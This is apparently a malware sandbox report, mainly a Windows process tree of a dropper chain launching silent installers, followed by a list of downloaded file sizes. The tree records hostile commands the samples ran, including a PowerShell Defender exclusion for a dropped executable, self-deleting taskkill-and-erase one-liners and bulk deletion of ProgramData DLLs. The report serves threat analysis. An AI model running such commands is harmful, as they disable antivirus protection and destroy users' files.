C:\Windows\SysWOW64\taskkill.exetaskkill /im "nxdy42hlzny.exe" /f14⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\clnh4emmhix\vict.exe"C:\Users\Admin\AppData\Local\Temp\clnh4emmhix\vict.exe" /VERYSILENT /id=53512⤵
-
C:\Users\Admin\AppData\Local\Temp\is-PJ3CS.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-PJ3CS.tmp\vict.tmp" /SL5="$4065C,870426,780800,C:\Users\Admin\AppData\Local\Temp\clnh4emmhix\vict.exe" /VERYSILENT /id=53513⤵
-
C:\Users\Admin\AppData\Local\Temp\is-3967G.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-3967G.tmp\win1host.exe" 53514⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\vtolxaf1ps5\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\vtolxaf1ps5\cpyrix.exe" /VERYSILENT12⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe13⤵
-
C:\Users\Admin\AppData\Local\Temp\97f61cd2-2a4c-4a72-a27f-fbc749567fa6\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\97f61cd2-2a4c-4a72-a27f-fbc749567fa6\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\97f61cd2-2a4c-4a72-a27f-fbc749567fa6\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run14⤵
-
C:\Users\Admin\AppData\Local\Temp\97f61cd2-2a4c-4a72-a27f-fbc749567fa6\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\97f61cd2-2a4c-4a72-a27f-fbc749567fa6\AdvancedRun.exe" /SpecialRun 4101d8 1012015⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force14⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 114⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 115⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"14⤵
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe13⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\abl4j3xevqc\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\abl4j3xevqc\Setup3310.exe" /Verysilent /subid=57712⤵
-
C:\Users\Admin\AppData\Local\Temp\is-M6L3Q.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-M6L3Q.tmp\Setup3310.tmp" /SL5="$60730,138429,56832,C:\Users\Admin\AppData\Local\Temp\abl4j3xevqc\Setup3310.exe" /Verysilent /subid=57713⤵
-
C:\Users\Admin\AppData\Local\Temp\is-8EF3D.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-8EF3D.tmp\Setup.exe" /Verysilent14⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\budowpwvlwh\app.exe"C:\Users\Admin\AppData\Local\Temp\budowpwvlwh\app.exe" /8-2312⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Z227ODIK6Q\setups.exe"C:\Users\Admin\AppData\Local\Temp\Z227ODIK6Q\setups.exe" ll9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-TALRM.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-TALRM.tmp\setups.tmp" /SL5="$306C6,454998,229376,C:\Users\Admin\AppData\Local\Temp\Z227ODIK6Q\setups.exe" ll10⤵
-
-
-
-
-
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"4⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install5⤵
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"4⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install5⤵
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\f49msXwaGcZo.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\f49msXwaGcZo.exe"3⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe4⤵
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Q903G63VZZ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Q903G63VZZ\multitimer.exe" 0 306065bb10421b26.04333812 0 1034⤵
-
C:\Users\Admin\AppData\Local\Temp\Q903G63VZZ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Q903G63VZZ\multitimer.exe" 1 3.1617537437.6069a99de6186 1035⤵
-
C:\Users\Admin\AppData\Local\Temp\Q903G63VZZ\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\Q903G63VZZ\multitimer.exe" 2 3.1617537437.6069a99de61866⤵
-
C:\Users\Admin\AppData\Local\Temp\kj10o2gu21m\vict.exe"C:\Users\Admin\AppData\Local\Temp\kj10o2gu21m\vict.exe" /VERYSILENT /id=5357⤵
-
C:\Users\Admin\AppData\Local\Temp\is-7E8ST.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-7E8ST.tmp\vict.tmp" /SL5="$7031A,870426,780800,C:\Users\Admin\AppData\Local\Temp\kj10o2gu21m\vict.exe" /VERYSILENT /id=5358⤵
-
C:\Users\Admin\AppData\Local\Temp\is-M9Q09.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-M9Q09.tmp\win1host.exe" 5359⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\lqjihnal0kw\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\lqjihnal0kw\cpyrix.exe" /VERYSILENT7⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe8⤵
-
C:\Users\Admin\AppData\Local\Temp\8cfbe678-608b-41a4-9c6a-1c2e7e350b94\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\8cfbe678-608b-41a4-9c6a-1c2e7e350b94\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\8cfbe678-608b-41a4-9c6a-1c2e7e350b94\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run9⤵
-
C:\Users\Admin\AppData\Local\Temp\8cfbe678-608b-41a4-9c6a-1c2e7e350b94\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\8cfbe678-608b-41a4-9c6a-1c2e7e350b94\AdvancedRun.exe" /SpecialRun 4101d8 917210⤵
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\1.exe" -Force9⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c timeout 19⤵
-
C:\Windows\SysWOW64\timeout.exetimeout 110⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Roaming\1.exe"C:\Users\Admin\AppData\Roaming\1.exe"9⤵
-
-
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe8⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"9⤵
-
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\knwjhek40ce\vpn.exe"C:\Users\Admin\AppData\Local\Temp\knwjhek40ce\vpn.exe" /silent /subid=4827⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GC41U.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-GC41U.tmp\vpn.tmp" /SL5="$2043E,15170975,270336,C:\Users\Admin\AppData\Local\Temp\knwjhek40ce\vpn.exe" /silent /subid=4828⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\kh2b1qabrei\s1py3nxbhcj.exe"C:\Users\Admin\AppData\Local\Temp\kh2b1qabrei\s1py3nxbhcj.exe" /ustwo INSTALL7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "s1py3nxbhcj.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\kh2b1qabrei\s1py3nxbhcj.exe" & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "s1py3nxbhcj.exe" /f9⤵
- Kills process with taskkill
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\shz2mvp5hsz\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\shz2mvp5hsz\Setup3310.exe" /Verysilent /subid=5777⤵
-
C:\Users\Admin\AppData\Local\Temp\is-HQF85.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-HQF85.tmp\Setup3310.tmp" /SL5="$20444,138429,56832,C:\Users\Admin\AppData\Local\Temp\shz2mvp5hsz\Setup3310.exe" /Verysilent /subid=5778⤵
-
C:\Users\Admin\AppData\Local\Temp\is-VT2C0.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-VT2C0.tmp\Setup.exe" /Verysilent9⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\x4nk5r12v22\app.exe"C:\Users\Admin\AppData\Local\Temp\x4nk5r12v22\app.exe" /8-237⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\16PKK2JDWC\setups.exe"C:\Users\Admin\AppData\Local\Temp\16PKK2JDWC\setups.exe" ll4⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4S83P.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-4S83P.tmp\setups.tmp" /SL5="$40356,454998,229376,C:\Users\Admin\AppData\Local\Temp\16PKK2JDWC\setups.exe" ll5⤵
-
-
-
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"3⤵
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B151616B7E268BECE1279F8C024F9745 C2⤵
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 222EBD9AE239032398F39E66AA726B2A2⤵
-
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"2⤵
-
C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe"C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default3⤵
-
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s DeviceInstall1⤵
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{6266f526-1a3d-4940-94e4-05716e5bf07c}\oemvista.inf" "9" "4d14a44ff" "0000000000000174" "WinSta0\Default" "0000000000000178" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oemvista.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "000000000000013C"2⤵
-
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵
-
\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s NetSetupSvc1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
-
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
-
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\12520586a92d49c9bfbb88968b481548 /t 6424 /p 55921⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\a8b6b730770d433995d2e77a132b9972 /t 7464 /p 84161⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\b71d06294ba5440d9e46d645a6dbe111 /t 8288 /p 86881⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\6290.exeC:\Users\Admin\AppData\Local\Temp\6290.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Users\Admin\AppData\Local\Temp\6C84.exeC:\Users\Admin\AppData\Local\Temp\6C84.exe1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\A45D.exeC:\Users\Admin\AppData\Local\Temp\A45D.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\A45D.exe"2⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK3⤵
- Delays execution with timeout.exe
-
-
-
C:\Users\Admin\AppData\Local\Temp\CB01.exeC:\Users\Admin\AppData\Local\Temp\CB01.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im CB01.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\CB01.exe" & del C:\ProgramData\*.dll & exit2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im CB01.exe /f3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\EFA1.exeC:\Users\Admin\AppData\Local\Temp\EFA1.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
4KB
-
Filesize
6.9MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
5.5MB
-
Filesize
5.5MB
-
Filesize
492KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
7.0MB
-
Filesize
128KB
-
Filesize
80KB
-
Filesize
128KB
-
Filesize
7.0MB
-
Filesize
7.0MB
-
Filesize
6.9MB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
192KB
-
Filesize
6.9MB
-
Filesize
4KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
172KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
4KB
-
Filesize
7.0MB
-
Filesize
7.0MB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
492KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
28KB
-
Filesize
172KB
-
Filesize
16KB
-
Filesize
272KB
-
Filesize
412KB
-
Filesize
412KB
-
Filesize
492KB
-
Filesize
272KB
-
Filesize
328KB
-
